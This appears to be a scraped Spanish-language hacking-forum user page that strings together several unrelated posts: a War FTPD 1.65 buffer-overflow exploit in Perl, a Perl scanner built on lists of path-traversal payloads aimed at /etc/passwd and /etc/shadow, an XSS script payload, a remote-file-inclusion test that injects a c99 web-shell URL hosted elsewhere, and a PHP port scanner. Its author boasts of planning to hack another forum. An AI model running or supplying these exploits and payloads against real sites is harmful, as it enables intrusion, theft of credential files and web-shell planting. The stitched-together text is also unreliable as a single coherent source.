1
Presentaciones / La vuelta!
« en: Octubre 27, 2014, 08:16:55 pm »
Buenas a todos, hace mucho que no pasaba por aca asique decidi dar un vistado a ver como andan las cosas, me llamo dracko.rx soy del viejo staff de underc0de. 
Mostrar Mensajes
Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.
C:\Documents and Settings\Administrador\Escritorio\fuzzer-1.1>fuzzer.py 
C:\Documents and Settings\Administrador\Escritorio\fuzzer-1.1>fuzzer.py –h localhost –p 21 –t FTP 
#!/usr/bin/perl
# ===============================================================================================
# War FTPD 1.65
# By OzX
# ==============================================================================================
# Referencia: [url]http://seclists.org/bugtraq/1998/Feb/0013.html[/url]
# Windows 95/NT War FTPD 1.65 Buffer Overflow
# Exploit Diseñado para el Manual de Fuzzer: Buscando Vulnerabilidades
# [url=http://www.new-Bytes.net]www.new-Bytes.net[/url]
# #================================================================================================
use strict;
use Net::FTP;
my $username = "////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////";
my $pwd = "exploit";
my $ftp = Net::FTP->new("localhost") or die("No se pudo conectar al servidor, porque el user y pass no eran correctos \n, pero se logro la intencion de crear el buffer overflow : $!");
$ftp->login($username,$pwd) or die("Login incorrecto: $!");
$ftp->quit or die("No se puede desconectar del servidor: $!");
#Name program = moe.pl
#Version = beta
#Autor = Guason
#Version = 1.0
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
menu:
system ("cls");
system (" mode con cols=150");
system ("mode con lines=100");
print q (
11111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111
11111111111111111111110000000010111111111111111111 ----------SINGLE SCAN-------------
11111111111111111111100000000000001111111111111111
11111111111111111111100000000000001111111111111111 1 - Scan XSS
11111111111111111111000110000100000111111111111111 2 - Scan LFI
11111111111111111110001000011011100011111111111111 3 - Scan RFI
11111111111111111000000000000000010011111111111111
11111111111111110000000100000000000011111111111111
11111111111111111000000000000000000111111111111111 --------------------------------------------
11111111111111110000000100000000000011111111111111
11111111111111110000000001010000000000011111111111
11111111111111110000001001111100000000011111111111
11111111111111110000000001111111011100011111111111 --------MULTIPLE SCAN----------
11111111111111111100000001111111001111111111111111
11111111111111111000010000000000001111111111111111 4 - Multiple scan XSS
11111111111111111110010000000000000011111111111111 5 - Multiple scan LFI (NO)
11111111111111111111100000000000000011111111111111 6 - Multiple scan RFI
11111111111111111111100000000000000000111111111111
11111111111111111111000000000000000000111111111111
11111111111111111111100000000000000000001111111111 --------------------------------------------
11111111111111100111100000000000000000001111111111
11111111111111110011110000000000011001111111111111
11111111111111111011111000000111111111111111111111
11111111111111111001111110001111111111111111111111
11111111111111111101111111111111111111111111111111
11111111111111111100111110000011111111111111111111
11111111111111111110111111010101111111111111111111 -----------------------------------------------
11111111111111111110011100000011111111111111111111
11111111111111111110011100110111111111111111111111 7 - About x
11111111111111111110001111110011111111111111111111 8 - Salir del programa
11111111111111111111111111111011111111111111111111
11111111111111111111111111111001111111111111111111
11111111111111111111001111111001111111111111111111 ---------------------------------------------
11111111111111111111001111111101111111111111111111
11111111111111111111001111111101111111111111111111 Autor = Guason
11111111111111111111011111111111111111111111111111
11111111111111111111011111111111111111111111111111
11111111111111111111011111111111111111111111111111
);
print "\n\n";
print "Escoge opcion =";
$opcion = <STDIN>;
chomp $opcion;
print "\n";
if ($opcion == 1 ) { &xss }
if ($opcion == 2 ) { &lfi }
if ($opcion == 3 ) { &rfi }
if ($opcion == 4 ) { &m_xss }
if ($opcion == 5 ) { &m_lfi }
if ($opcion == 6 ) { &m_rfi }
if ($opcion == 7 ) { &about }
if ($opcion == 8 ) { &salir }
if ($opcion =! 1||2||3||4||5||6||7||8) {goto menu ;}
sub lfi {
system ("cls");
print "\n\n";
print "Pagina web a probar con LFI :::";
$lfi = <STDIN>;
chomp $lfi;
print "\n\n";
print "Objectivo : $lfi\n\nn";
if($lfi !~/http:\/\//){
$lfi ="http://$lfi";}
@devil=(
'../../etc/passwd%00',
'../../../etc/passwd%00',
'../../../../etc/passwd%00',
'../../../../../etc/passwd%00',
'../../../../../../etc/passwd%00',
'../../../../../../../etc/passwd%00',
'../../../../../../../../etc/passwd%00',
'../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../../../..etc/passwd%00',
'../../etc/passwd',
'../../../etc/passwd',
'../../../../etc/passwd',
'../../../../../etc/passwd',
'../../../../../../etc/passwd',
'../../../../../../../etc/passwd',
'../../../../../../../../etc/passwd',
'../../../../../../../../../etc/passwd',
'../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../../..etc/passwd',
'../etc/shadow',
'../../etc/shadow',
'../../../etc/shadow',
'../../../../etc/shadow',
'../../../../../etc/shadow',
'../../../../../../etc/shadow',
'../../../../../../../etc/shadow',
'../../../../../../../../etc/shadow',
'../../../../../../../../../etc/shadow',
'../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../../../../etc/shadow',
'../etc/group',
'../../etc/group',
'../../../etc/group',
'../../../../etc/group',
'../../../../../etc/group',
'../../../../../../etc/group',
'../../../../../../../etc/group',
'../../../../../../../../etc/group',
'../../../../../../../../../etc/group',
'../../../../../../../../../../etc/group',
'../../../../../../../../../../../etc/group',
'../../../../../../../../../../../../etc/group',
'../../../../../../../../../../../../../etc/group',
'../../../../../../../../../../../../../../etc/group',
'../etc/security/group',
'../../etc/security/group',
'../../../etc/security/group',
'../../../../etc/security/group',
'../../../../../etc/security/group',
'../../../../../../etc/security/group',
'../../../../../../../etc/security/group',
'../../../../../../../../etc/security/group',
'../../../../../../../../../etc/security/group',
'../../../../../../../../../../etc/security/group',
'../../../../../../../../../../../etc/security/group',
'../etc/security/passwd',
'../../etc/security/passwd',
'../../../etc/security/passwd',
'../../../../etc/security/passwd',
'../../../../../etc/security/passwd',
'../../../../../../etc/security/passwd',
'../../../../../../../etc/security/passwd',
'../../../../../../../../etc/security/passwd',
'../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../../../../../etc/security/passwd',
'../etc/security/user',
'../../etc/security/user',
'../../../etc/security/user',
'../../../../etc/security/user',
'../../../../../etc/security/user',
'../../../../../../etc/security/user',
'../../../../../../../etc/security/user',
'../../../../../../../../etc/security/user',
'../../../../../../../../../etc/security/user',
'../../../../../../../../../../etc/security/user',
'../../../../../../../../../../../etc/security/user',
'../../../../../../../../../../../../etc/security/user',
'../../../../../../../../../../../../../etc/security/user'
);
foreach $scan(@devil)
{
$run=$lfi.$scan;
print "Probando con $scan\n";
$request =HTTP::Request->new(GET=>$run);
$agent= LWP::UserAgent->new();
$response=$agent->request($request);
if($response->is_success && $response->content =~/root:x:/){
print "\n\n";
print "$lfi = Vulnerable\n";
}
}
print "\n";
syswrite STDOUT, "Presiona enter para volver al menu principal\n";
<STDIN>;
system ("cls");
goto menu;
}
sub xss {
system ("cls");
print "\n\n";
print "Escribe la web a explotar con XSS::";
$xssans = <STDIN>;
chomp $xssans;
print "\n\n";
print "Objectivo = $xssans\n\n";
$xsscode='>"<script>alert("Guason")</script><div style="1';
$xss=$xssans.$xsscode;
$agent=LWP::UserAgent->new();
$req=$agent->get("$xss");
if($req->is_success && $req->content=~/Guason/){
print "\n\n";
print "$xssans es Vulnerable\n\n";
} else {
print "\n\n";
print "No es vulnerable\n\n";
}
syswrite STDOUT, "Presiona enter para volver al menu principal\n";
<STDIN>;
system ("cls");
goto menu;
}
sub rfi {
system ("cls");
print "\n\n";
print "Url de la web a explotar con RFI::";
$rfi = <STDIN>;
chomp $rfi;
print "\n\n";
print "Objectivo = $rfi\n\n";
$rficode="[url]http://younes.by.ru/c99.txt[/url]";
$rfid=$rfi.$rficode;
$request =HTTP::Request->new(GET=>$rfid);
$agent= LWP::UserAgent->new();
$response=$agent->request($request);
if($response->is_success && $response->content =~/c99/){
print "\n\n";
print "Es vulnerable !\n";
} else {
print "\n\n";
print "No es vulnerable\n\n";
}
syswrite STDOUT, "Presiona enter para volver al menu principal\n";
<STDIN>;
system ("cls");
goto menu;
}
################################LFI_M is obsolete ########################################33
sub m_lfi {
print "\n";
syswrite STDOUT, "Presiona enter para volver al menu principal\n";
<STDIN>;
system ("cls");
goto menu;
}
sub m_xss {
print "\n\n";
print "Url de los googles para XSS:";
$xss= <STDIN>;
chomp $xss;
open ( M_XSS , ">>c:/m_xss.txt" ) ;
print M_XSS "Extrayendo vulnerabilidades XSS de $xss\n\n";
open ( HOLA , $xss ) ;
@googles = <HOLA>;
close HOLA;
foreach $xsss(@googles){
$xsscode='>"<script>alert("Guason")</script><div style="1';
$xss=$xsss.$xsscode;
$agent=LWP::UserAgent->new();
$req=$agent->get("$xss");
if($req->is_success && $req->content=~/Guason/){
print "$xsss = Yes!\n";
print M_XSS "$xsss = Yes!\n";
} else {
print "$xsss = No!\n";
print M_XSS "$xsss = No!\n";
}
}
print "\n";
syswrite STDOUT, "Presiona enter para volver al menu principal\n";
<STDIN>;
system ("cls");
goto menu;
}
sub m_rfi {
print "\n\n";
print "Url de los googles para RFI:";
$rfi= <STDIN>;
chomp $rfi;
open ( M_RFI , ">>c:/m_rfi.txt") ;
print M_RFI "Extrayendo vulnerabilidades RFI de $rfi\n\n";
open ( HOLA , $rfi ) ;
@googles = <HOLA>;
close HOLA;
foreach $rfis(@googles) {
$rficode="[url]http://younes.by.ru/c99.txt[/url]";
$rfid=$rfis.$rficode;
$request =HTTP::Request->new(GET=>$rfid);
$agent= LWP::UserAgent->new();
$response=$agent->request($request);
if($response->is_success && $response->content =~/c99/){
print "$rfis = Es vulnerable\n";
print M_RFI "$rfis = Es vulnerable\n";
} else {
print "$rfis = No es vulnerable\n";
print M_RFI "$rfis = No es vulnerable\n";
}
}
print "\n";
syswrite STDOUT, "Presiona enter para volver al menu principal\n";
<STDIN>;
system ("cls");
goto menu;
}
sub about {
system ("cls");
print q (
@@@@@@@@@@@@@@@@@@@@@@@@@*@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@ *@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@* ***@*@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@***@@@@@*@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@**@@@@@@@@*@@@@@@@@@@@@
@@@@@@@@@@@@@@@ *@@@@@@@@@@ @@@@@@@@@@@@
@@@@@@@@@@@@@@@**@@@@@@@@@@**@@@@@@@@@@@
@@@@@@@@@@@@@@@@ @@@@@@@@@@@**@@@@@@@@@@
@@@@@@@@@@@@@@@@**@@@@@@@@@@@**@@@@@@@@@
@@@@@@@@@@@@@@@@@ @@@@@@*****@@@@@@@@@@@
@@@@@@@@@@@@@@@@@**@@@@*@@@* @@@@@@@@@@@
@@@@@@@@@@@@@@@@@@ @@@@*@@@@**@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@*@@@*@@@@ @@@@@@@@@
@@@@@@@@@@@@@@@@@@@*@** *@@ @@@@@@@@@
@@@@@@@@@@@@@@@@@@@* @@@@@@@@
@@@@@@@@@@@@@@@@@@@ @@@@@@@@
@@@@@@@@@@@@@@@@@@@ @@@@@@@@
@@@@@@@@@@@@@@@@@@@@ *@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@ *@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@
@@@@@@@@@@@@@@@@**@@@*@ *@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@ @@@@@@ @@@@@@@@@@@@@
@@@@@@@@@@@@@@@* *@@@@@ @@*@@@@ @@@@@@@
@@@@@@@@@@@@@@@ *@@@@@@@@@@@@ @@@@@@
@@@@@@@@@@@@@@@ @*@@@@@@@@@ @@@@@@
@@@@@@@@@@@@@@@ @@@@@@@@@@ *@@@@@
@@@@@@@@@@@@@@@ @@@@@@@@@@* @@@@@@
@@@@@@@@@@@@@@@ @@@@@@@@@ @@@@@@
@@@@@@@@@@@@@@@ *@@@@@@@@ *@@@@@@
@@@@@@@@@@@@@@ @@@@@@@@@ *@@@@@@
@@@@@@@@@@@@@@ @ * *@@@@@@@@@ *@@@@@@
@@@@@@@@@@@@****@ *@@@@@@@@@@@* ***@@@@@
@@@@@@@@@@@****@@**@@@@@@@@@@@ *@ **@@@@
@@@@@@@@@@**@* @@**@@@@@@@@@@@**@***@@@@
@@@@@@@@@@*@@ *@@*@@@@@@@@@@@@@*@**@@@@@
@@@@@@@@@@@@* *@*@@@@@@@**@@@@@*** **@@@
@@@@@@@@@@*@* ****@@@@@@ *@@@@* @@* *@@@
@@@@@@@@@@ @**@@* @@@@****** @@@@**@@@
@@@@@@@@@@***@@@@ *@* @@@@@@@@@
@@@@@@@@@@@ @@@@@* *@@@@@@ *@@@@@@@@@
@@@@@@@@@@@@@@@@@ @@@@@@@ *@@@@@@@@@
@@@@@@@@@@@@@@@@@** *@@@@@@* **@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@*@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@*@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@***@*@@@@@@@@@***@@@@@@@@
Este programa fue escrito por Guason = me
Este lo realice en dos fases uno Viendo porno y otro jugando al mithlogy titans
Este ayuda a verificar vulnerabiliades de una web o de un archivo entero lo que me es
mucho mas comodo .......
Simplemente no mando saludos a nadie mmm talvez a explorer de perlenespañol y a soulnet
los demas por mi mueranse y pronto voy a hackear el-hacker.net muaaaaaaaaa ajajajajajajaja
ajajajajajajajajajaj ajajajajajajajajajaj ajajajajajajajajajaj ajajajajajajajajajaj ajajajajajajajajajaj
Tambien mando saludos a los moderadores de el-hacker quienes piensan que se han desazido de mi baneandome pero NO! porque todavia estoy ahi y me meto en sus narices
Ja! Pero que malo que soy !
Mis datos =
nOMBRE = Salchichon
Emal = [email protected]
Web = [url]http://guason-cracker.blogspot.com/[/url]
);
print "\n";
syswrite STDOUT, "Presiona enter para volver al menu principal\n";
<STDIN>;
system ("cls");
goto menu;
}
sub salir {
print "\n\n";
print "Good Bye\n\n\n";
exit 1;
}<?php
define(NAMEFILE,"ports.html");
if ($argv[1]==NULL)
{
print
"
########### Port Scaner By _84kur10_ , JxE-13 ##############
# #
# Escaner de puertos #
# Busca ports open #
#==================================================================#
# Usage: php Scan.php ip initport eofport #
# [email protected] Black Team, LatinoHackTeam, Ro0T-MaFia #
####################################################################\n\n";
die;
}
$init=(int)$argv[2];
$eof =(int)$argv[3];
$ip =$argv[1];
function savePort($info)
{
$fp = fopen(NAMEFILE,"ab+");
fwrite($fp,$info."<br>");
fclose($fp);
}
savePort("<br><h1>Resultado de escan para ".$ip."</h1><br>");
savePort("c0ded by _84kur10_, JxE-13 <br>");
print "Scaneando...\n";
for ($i=$init;$i<=$eof;$i++){
$conect=fsockopen($ip, $i,$errno, $errstr, 30);
if(false==$conect)
{
print "\nPuerto ".$i." No encontrado\n";
}
else
{
$info= "\n\nPuerto ".$i." Fue encontrado Abierto\n";
savePort($info);
print $info;
}
}
?>